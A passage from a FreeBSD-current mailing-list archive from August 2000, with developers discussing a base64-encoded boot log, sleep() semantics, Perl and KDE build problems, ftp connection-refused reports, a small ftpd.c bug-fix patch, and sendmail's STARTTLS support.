IG9uIGlzYTANCnBwYzA6IFNNQy1saWtlIGNoaXBzZXQgKEVDUC9FUFAvUFMy L05JQkJMRSkgaW4gQ09NUEFUSUJMRSBtb2RlDQpwcGMwOiBGSUZPIHdpdGgg MTYvMTYvOCBieXRlcyB0aHJlc2hvbGQNCnBwaTA6IDxQYXJhbGxlbCBJL08+ IG9uIHBwYnVzMA0KcGxpcDA6IDxQTElQIG5ldHdvcmsgaW50ZXJmYWNlPiBv biBwcGJ1czANCmxwdDA6IDxQcmludGVyPiBvbiBwcGJ1czANCmxwdDA6IElu dGVycnVwdC1kcml2ZW4gcG9ydA0KSVAgRmlsdGVyOiB2My40LjggaW5pdGlh bGl6ZWQuICBEZWZhdWx0ID0gcGFzcyBhbGwsIExvZ2dpbmcgPSBlbmFibGVk DQpXYWl0aW5nIDE1IHNlY29uZHMgZm9yIFNDU0kgZGV2aWNlcyB0byBzZXR0 bGUNCnBhc3MxIGF0IGRwdDAgYnVzIDAgdGFyZ2V0IDYgbHVuIDANCnBhc3Mx OiA8REVMTCAxeDMgVTJXIFNDU0kgQlAgNS4yMz4gRml4ZWQgUHJvY2Vzc29y IFNDU0ktMiBkZXZpY2UgDQpkYTAgYXQgZHB0MCBidXMgMCB0YXJnZXQgMCBs dW4gMA0KZGEwOiA8RFBUIFJBSUQtNSAwN00wPiBGaXhlZCBEaXJlY3QgQWNj ZXNzIFNDU0ktMiBkZXZpY2UgDQpkYTA6IDM0NzMyTUIgKDcxMTMxOTA0IDUx MiBieXRlIHNlY3RvcnM6IDI1NUggNjNTL1QgNDQyN0MpDQpNb3VudGluZyBy b290IGZyb20gdWZzOi9kZXYvZGEwczFhDQpjZDAgYXQgYWhjMiBidXMgMCB0 YXJnZXQgNSBsdW4gMA0KY2QwOiA8TkVDIENELVJPTSBEUklWRTo0NjYgMS4w Nj4gUmVtb3ZhYmxlIENELVJPTSBTQ1NJLTIgZGV2aWNlIA0KY2QwOiAyMC4w MDBNQi9zIHRyYW5zZmVycyAoMjAuMDAwTUh6LCBvZmZzZXQgMTUpDQpjZDA6 IEF0dGVtcHQgdG8gcXVlcnkgZGV2aWNlIHNpemUgZmFpbGVkOiBOT1QgUkVB RFksIE1lZGl1bSBub3QgcHJlc2VudA0KV0FSTklORzogLyB3YXMgbm90IHBy b3Blcmx5IGRpc21vdW50ZWQNCg== --0-863820600-966381341=:66538-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 19:10: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from webmail.ames.net (www.ames.net [208.142.211.14]) by hub.freebsd.org (Postfix) with SMTP id 88A6937B93A for ; Wed, 16 Aug 2000 02:10:00 +0000 (GMT) (envelope-from nshanga@lizkos.com) Received: from stargate.lizkos.com [208.142.209.35] by webmail.ames.net with ESMTP (SMTPD32-4.07) id A8BB63014A; Tue, 15 Aug 2000 21:13:15 -0600 Received: from stargate.lizkos.com (stargate.lizkos.com [127.0.0.1]) by stargate.lizkos.com (8.9.3/8.9.3) with SMTP id VAA04594 for ; Tue, 15 Aug 2000 21:09:24 -0500 Message-Id: <200008160209.VAA04594@stargate.lizkos.com> Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary Mime-Version: 1.0 From: "N. Shanga" To: freebsd-current@freebsd.org Reply-To: "N. Shanga" Subject: TEST X-Mailer: Pronto v2.0.0 Date: 15 Aug 2000 21:09:22 CDT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG TEST -- -----BEGIN GEEK CODE BLOCK----- Version: 3.12 G! d- s: a C+++ UL++ P++ L+++ E--- W+ N++ o+ K++ w-- O-- M-- V-- PS--- PE-- Y+ PGP- t+ 5 X+++ R* tv-- b++++ DI++ D++ G+ e* h--- r+++ y+++ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 19:28: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id DA8DC37B8A7 for ; Wed, 16 Aug 2000 02:28:04 +0000 (GMT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115238>; Wed, 16 Aug 2000 12:28:02 +1000 Content-return: prohibited Date: Wed, 16 Aug 2000 12:27:56 +1000 From: Peter Jeremy Subject: Re: Ugly, slow shutdown In-reply-to: <200008072149.OAA04253@implode.root.com>; from dg@root.com on Mon, Aug 07, 2000 at 02:49:34PM -0700 To: David Greenman Cc: freebsd-current@FreeBSD.ORG Mail-followup-to: David Greenman , freebsd-current@FreeBSD.ORG Message-Id: <00Aug16.122802est.115238@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i References: <398F3089.416DEA1@originative.co.uk> <200008072149.OAA04253@implode.root.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Aug-07 14:49:34 -0700, David Greenman wrote: > No, that's not true, and there are many examples in the kernel where a >bogus wakeup would lead to bad things happening. I recall some code in the >advisory locking code, and VM system, that assume that there is only one >wakeup event and that the thing causing it assures that certain other >things have occured before issuing it. That's just the way it has worked >since the dawn of time. In the beginning, there was sleep(). The V6, V7, 2.9BSD and 2.11BSD [which is all I've checked] sources all include the following comment on sleep(): * Callers of this routine must be prepared for * premature return, and check that the reason for * sleeping has gone away. 2.9BSD tsleep() is implemented using sleep() and it's not immediately obvious that tsleep() won't also return prematurely. In 2.11BSD, sleep() is implemented using a tsleep() `"borrowed" from 4.4BSD'. Presumably a conscious decision was made to change the semantics between sleep() and tsleep(). Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 22:44:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 0238137B77E for ; Tue, 15 Aug 2000 22:44:48 -0700 (PDT) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id JAA27303; Wed, 16 Aug 2000 09:44:14 +0400 (MSD) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdI27301; Wed Aug 16 09:44:07 2000 Date: Wed, 16 Aug 2000 09:44:07 +0400 (MSD) From: "Ilmar S. Habibulin" To: Alex Zepeda Cc: "Brian O'Shea" , freebsd-current@FreeBSD.ORG Subject: Re: strange freeze while starting kde2 :( In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 Aug 2000, Alex Zepeda wrote: > What version of XFree86 are you using? Make sure it's != 4.0.0. I'm using XFree beta (3.9.17). Version number is not 4.0.0. ;-) I was using them half a year with no problem. You think that this is an XFree problem? Ok, i'll try to change version. PS. And what problems does XFree have and wich version should i use? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 23:28:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 8A68237B5AD for ; Tue, 15 Aug 2000 23:28:41 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (mark@localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id IAA37297; Wed, 16 Aug 2000 08:28:58 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200008160628.IAA37297@grimreaper.grondar.za> To: Leif Neland Cc: freebsd-current@FreeBSD.ORG Subject: Re: Perl installworld trouble References: In-Reply-To: ; from Leif Neland "Tue, 15 Aug 2000 23:18:00 +0200." Date: Wed, 16 Aug 2000 08:28:58 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > When installing a current world on a month or so old current, installworld > failed during install of perl. > Under /usr/libdata/perl/5.6.0, I manually had to create these directories: > > IO/Socket > auto/DB_File > auto/GDBM_File > auto/POSIX Assimilated into my local tree; I'll commit later. Thanks! :-) M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 23:52: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 06A1937BD5F for ; Tue, 15 Aug 2000 23:52:05 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 20104 invoked from network); 16 Aug 2000 06:51:54 -0000 Received: from acs-24-154-11-41.zoominternet.net (24.154.11.41) by scully.zoominternet.net with SMTP; 16 Aug 2000 06:51:54 -0000 Date: Wed, 16 Aug 2000 02:51:54 -0400 (EDT) From: Donn Miller X-Sender: dmmiller@acs-24-154-11-41.zoominternet.net To: current@freebsd.org Subject: problem with ftp in latest -current Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Lately, I can't ftp to any anonymous ftp sites. Every single one I attempt to ftp to gives me a "connection refused" error message. Is there a problem with bind? -Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 23:56:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9570E37BB64; Tue, 15 Aug 2000 23:56:07 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id XAA81290; Tue, 15 Aug 2000 23:56:06 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Tue, 15 Aug 2000 23:56:06 -0700 (PDT) From: Kris Kennaway To: Donn Miller Cc: current@freebsd.org Subject: Re: problem with ftp in latest -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 Aug 2000, Donn Miller wrote: > Lately, I can't ftp to any anonymous ftp sites. Every single one I > attempt to ftp to gives me a "connection refused" error message. Is there > a problem with bind? Only on your end :-) Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 23:56:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from glitch.crosswinds.net (glitch.crosswinds.net [209.208.163.35]) by hub.freebsd.org (Postfix) with ESMTP id E06E537BD6A for ; Tue, 15 Aug 2000 23:56:34 -0700 (PDT) (envelope-from edukation@crosswinds.net) Received: from Slo ([63.104.110.13]) by glitch.crosswinds.net (8.9.3/8.9.3) with SMTP id CAA18640 for ; Wed, 16 Aug 2000 02:56:32 -0400 (EDT) (envelope-from edukation@crosswinds.net) Message-ID: <000801c0074f$2a243280$0300a8c0@nubian.net> From: "Network" To: Subject: ftpd not working with 4.1-stable Date: Wed, 16 Aug 2000 02:56:54 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C0072D.A29D1460" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C0072D.A29D1460 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Inetd is disabled with .. inetd_enable=3D"NO" I cannot start ftpd from the cmd line using; /usr/libexec/ftpd -D -S -l = -a xxx.xxx.xx.xx -OR- /usr/libexec/ftpd -D -a xxx.xxx.xx.xx Error=3D Aug 16 01:19:52 The-Raven ftpd[988]: getpeername = (/usr/libexec/ftpd): Socket operation Aug 16 01:23:28 The-Raven ftpd[1007]: control socket: Protocol = not supported The first error line has never showed itself again. The second error = line happens on both of my 4.1-stable machines. At the time of this writing I wasn't able to search the mail list for = possible fixes or answers. ------=_NextPart_000_0005_01C0072D.A29D1460 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
 
Inetd is disabled with ..=20 inetd_enable=3D"NO"
 
 I cannot start ftpd from the cmd = line using;=20 /usr/libexec/ftpd -D -S -l -a xxx.xxx.xx.xx  -OR- /usr/libexec/ftpd = -D -a=20 xxx.xxx.xx.xx
 
Error=3D Aug 16 01:19:52 The-Raven = ftpd[988]:=20 getpeername (/usr/libexec/ftpd): Socket=20 operation
          = Aug 16=20 01:23:28 The-Raven ftpd[1007]: control socket: Protocol not=20 supported
 
The first error line has never showed = itself=20 again.  The second error line happens on both of my 4.1-stable=20 machines.
 
At the time of this writing I wasn't = able to search=20 the mail list for possible fixes or = answers.
------=_NextPart_000_0005_01C0072D.A29D1460-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 0:43:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 2B16937BAF0 for ; Wed, 16 Aug 2000 00:43:41 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.16 #1) id 13OxrB-0003iA-00; Wed, 16 Aug 2000 09:43:25 +0200 From: Sheldon Hearn To: Leif Neland Cc: freebsd-current@FreeBSD.ORG Subject: Re: Perl installworld trouble In-reply-to: Your message of "Tue, 15 Aug 2000 23:18:00 +0200." Date: Wed, 16 Aug 2000 09:43:25 +0200 Message-ID: <14269.966411805@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 Aug 2000 23:18:00 +0200, Leif Neland wrote: > When installing a current world on a month or so old current, installworld > failed during install of perl. > Under /usr/libdata/perl/5.6.0, I manually had to create these directories: > > IO/Socket > auto/DB_File > auto/GDBM_File > auto/POSIX This is odd, because successful completion of buildworld and installworld over here occur in spite of the absence of all of these directories. You might want to send Mark Murray the exact failures you got, since he's quite in tune with the perl build and might be aware of subtleties that may cause what you're seeing. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 0:44:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 683F937B6EC for ; Wed, 16 Aug 2000 00:44:41 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 24594 invoked from network); 16 Aug 2000 07:44:39 -0000 Received: from acs-24-154-11-41.zoominternet.net (24.154.11.41) by scully.zoominternet.net with SMTP; 16 Aug 2000 07:44:39 -0000 Date: Wed, 16 Aug 2000 03:44:39 -0400 (EDT) From: Donn Miller X-Sender: dmmiller@acs-24-154-11-41.zoominternet.net To: Network Cc: freebsd-current@FreeBSD.org Subject: Re: ftpd not working with 4.1-stable In-Reply-To: <000801c0074f$2a243280$0300a8c0@nubian.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Could this be related to the problems I've been having lately with -current? Everytime I try to connect to an anonymoys ftp site, I get "connection refused" every time, no matter which site it is. I can get into the same sites with Netscape, lynx, w3m, and wget. I'm getting similar errors with fetch. -Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 0:53:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 0E50A37B51B for ; Wed, 16 Aug 2000 00:53:06 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 2826 invoked from network); 16 Aug 2000 07:53:04 -0000 Received: from acs-24-154-11-41.zoominternet.net (24.154.11.41) by scully.zoominternet.net with SMTP; 16 Aug 2000 07:53:04 -0000 Date: Wed, 16 Aug 2000 03:53:04 -0400 (EDT) From: Donn Miller X-Sender: dmmiller@acs-24-154-11-41.zoominternet.net To: Kris Kennaway Cc: current@freebsd.org Subject: Re: problem with ftp in latest -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Wed, 16 Aug 2000, Donn Miller wrote: > > > Lately, I can't ftp to any anonymous ftp sites. Every single one I > > attempt to ftp to gives me a "connection refused" error message. Is there > > a problem with bind? > > Only on your end :-) I should add that I can login to these sites with lynx, w3m, or Netscape. I wonder what the problem could be? I do have a cable modem, if that could be a possible cause. Or, maybe it's a problem with passive mode, or whatever. -Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 1:34:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 6749937BDDC for ; Wed, 16 Aug 2000 01:34:31 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.16 #1) id 13OyeT-0003wA-00; Wed, 16 Aug 2000 10:34:21 +0200 From: Sheldon Hearn To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: problem with ftp in latest -current In-reply-to: Your message of "Wed, 16 Aug 2000 02:51:54 -0400." Date: Wed, 16 Aug 2000 10:34:21 +0200 Message-ID: <15137.966414861@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 Aug 2000 02:51:54 -0400, Donn Miller wrote: > Lately, I can't ftp to any anonymous ftp sites. Every single one I > attempt to ftp to gives me a "connection refused" error message. Is there > a problem with bind? Yesterday's -current does not demonstrate this problem on my workstation, and I do use bind as a local resolver. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 1:57:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id EBAD537BB73 for ; Wed, 16 Aug 2000 01:57:31 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 5404 invoked from network); 16 Aug 2000 08:50:50 -0000 Received: from acs-24-154-11-41.zoominternet.net (24.154.11.41) by scully.zoominternet.net with SMTP; 16 Aug 2000 08:50:50 -0000 Date: Wed, 16 Aug 2000 04:50:49 -0400 (EDT) From: Donn Miller X-Sender: dmmiller@acs-24-154-11-41.zoominternet.net To: Kris Kennaway Cc: current@freebsd.org Subject: Re: problem with ftp in latest -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 15 Aug 2000, Kris Kennaway wrote: > On Wed, 16 Aug 2000, Donn Miller wrote: > > > Lately, I can't ftp to any anonymous ftp sites. Every single one I > > attempt to ftp to gives me a "connection refused" error message. Is there > > a problem with bind? > > Only on your end :-) I'm using dhcp, BTW, since I have a cable modem. Maybe my ISP is doing something to cause this, I don't know. I have to use wget as FETCH_CMD to retrieve ports, since both fetch and ftp give Connection refused messages for every ftp site. Also, check this out: $ ftp localhost ftp: connect to address ::1: Connection refused Trying 127.0.0.1... ftp: connect: Connection refused ftp> Hmmmmmm..... -Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 2: 4: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id EFAEC37C0F3 for ; Wed, 16 Aug 2000 02:03:56 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.7/nospam) with UUCP id AAA28995 for freebsd-current@FreeBSD.ORG; Wed, 16 Aug 2000 00:15:49 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id AB0EB888A; Tue, 15 Aug 2000 23:53:37 +0200 (CEST) Date: Tue, 15 Aug 2000 23:53:37 +0200 From: Ollivier Robert To: freebsd-current@FreeBSD.org Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current Message-ID: <20000815235337.B18717@keltia.freenix.fr> Mail-Followup-To: freebsd-current@FreeBSD.ORG References: <14741.53848.763058.787717@horsey.gshapiro.net> <001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.55147.202130.156007@horsey.gshapiro.net> <20000813101349.A41517@cicely7.cicely.de> <14742.23947.591740.577300@horsey.gshapiro.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <14742.23947.591740.577300@horsey.gshapiro.net>; from gshapiro@gshapiro.net on Sun, Aug 13, 2000 at 01:34:19AM -0700 X-Operating-System: FreeBSD 5.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Gregory Neil Shapiro: > Actually, it wouldn't. I was able to get Torek I/O working with STARTTLS > as an FFR. I'm running with STARTTLS at home without using sfio. Excellent! Ignore my mail on committers then Greg :-) -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun 4 22:44:19 CEST 2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 2:18:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 808B737C012 for ; Wed, 16 Aug 2000 02:18:06 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.9.3/1.13) id MAA45640; Wed, 16 Aug 2000 12:17:51 +0300 (EEST) Date: Wed, 16 Aug 2000 12:17:51 +0300 From: Ruslan Ermilov To: Network Cc: freebsd-current@FreeBSD.org Subject: Re: ftpd not working with 4.1-stable Message-ID: <20000816121751.A44967@sunbay.com> Mail-Followup-To: Network , freebsd-current@FreeBSD.org References: <000801c0074f$2a243280$0300a8c0@nubian.net> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="sm4nu43k4a2Rpi4c" X-Mailer: Mutt 1.0i In-Reply-To: <000801c0074f$2a243280$0300a8c0@nubian.net>; from edukation@crosswinds.net on Wed, Aug 16, 2000 at 02:56:54AM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii On Wed, Aug 16, 2000 at 02:56:54AM -0400, Network wrote: > > > Inetd is disabled with .. inetd_enable="NO" > > I cannot start ftpd from the cmd line using; /usr/libexec/ftpd -D -S -l -a > xxx.xxx.xx.xx -OR- /usr/libexec/ftpd -D -a xxx.xxx.xx.xx > > Error= Aug 16 01:19:52 The-Raven ftpd[988]: getpeername (/usr/libexec/ftpd): > Socket operation > Aug 16 01:23:28 The-Raven ftpd[1007]: control socket: Protocol not > supported > > The first error line has never showed itself again. The second error line > happens on both of my 4.1-stable machines. > > At the time of this writing I wasn't able to search the mail list for > possible fixes or answers. > I have just fixed that in CURRENT. Please try the following patch, it should apply cleanly to your 4.1-STABLE sources. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: ftpd.c =================================================================== RCS file: /home/ncvs/src/libexec/ftpd/ftpd.c,v retrieving revision 1.65 retrieving revision 1.66 diff -u -p -r1.65 -r1.66 --- ftpd.c 2000/08/01 13:58:55 1.65 +++ ftpd.c 2000/08/16 09:12:33 1.66 @@ -408,8 +408,6 @@ main(argc, argv, envp) error = getaddrinfo(bindname, "ftp", &hints, &res); } - if (error == 0 && res->ai_addr != NULL) - family = res->ai_addr->sa_family; } if (error) { syslog(LOG_ERR, gai_strerror(error)); @@ -420,7 +418,8 @@ main(argc, argv, envp) if (res->ai_addr == NULL) { syslog(LOG_ERR, "-a %s: getaddrinfo failed", hostname); exit(1); - } + } else + family = res->ai_addr->sa_family; /* * Open a socket, bind it to the FTP port, and start * listening. --sm4nu43k4a2Rpi4c-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 2:33: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id E797D37BD97 for ; Wed, 16 Aug 2000 02:32:52 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.7/nospam) with UUCP id AAA28994 for freebsd-current@FreeBSD.ORG; Wed, 16 Aug 2000 00:15:47 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id AC9C5888A; Tue, 15 Aug 2000 23:52:41 +0200 (CEST) Date: Tue, 15 Aug 2000 23:52:41 +0200 From: Ollivier Robert To: freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current Message-ID: <20000815235241.A18717@keltia.freenix.fr> Mail-Followup-To: freebsd-current@FreeBSD.ORG References: <001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.53848.763058.787717@horsey.gshapiro.net> <001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.55147.202130.156007@horsey.gshapiro.net> <4.2.2.20000812230656.0209b170@eyelab.msu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <4.2.2.20000812230656.0209b170@eyelab.msu.edu>; from gary@eyelab.psy.msu.edu on Sat, Aug 12, 2000 at 11:12:06PM -0400 X-Operating-System: FreeBSD 5.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Gary Schrock: > their mail). Now, maybe I just don't know what magic STARTTLS offers me, > and I'd convert if I knew better. STARTTLS is a way to do SSL-based encryption between mail servers automatically. TLS is the new name of SSL (Secure Socket Layer). You can use certificates to enables relaying for example (nice for nomad users). Postfix, qmail, probably Exim and some other MTAs do support it, generally through patches. The main problem with Sendmail's one at the moment is the dependency on sfio (a stdio-like library written by AT&T people). -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 5.0-CURRENT #80: Sun Jun 4 22:44:19 CEST 2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 2:39:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 39DF037BA36 for ; Wed, 16 Aug 2000 02:39:35 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 30732 invoked from network); 16 Aug 2000 09:39:33 -0000 Received: from acs-24-154-11-41.zoominternet.net (24.154.11.41) by scully.zoominternet.net with SMTP; 16 Aug 2000 09:39:33 -0000 Date: Wed, 16 Aug 2000 05:39:33 -0400 (EDT) From: Donn Miller X-Sender: dmmiller@acs-24-154-11-41.zoominternet.net To: current@freebsd.org Subject: ftp and /etc/services... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is on a recently-built -current box. When I try to move ftp from port 21 to port 2121 in /etc/services, I get a "Connection refused" message when I try to login to anonymous ftp sites. Should ftp be this dependent on /etc/services? What if you _have_ no services running, e.g. 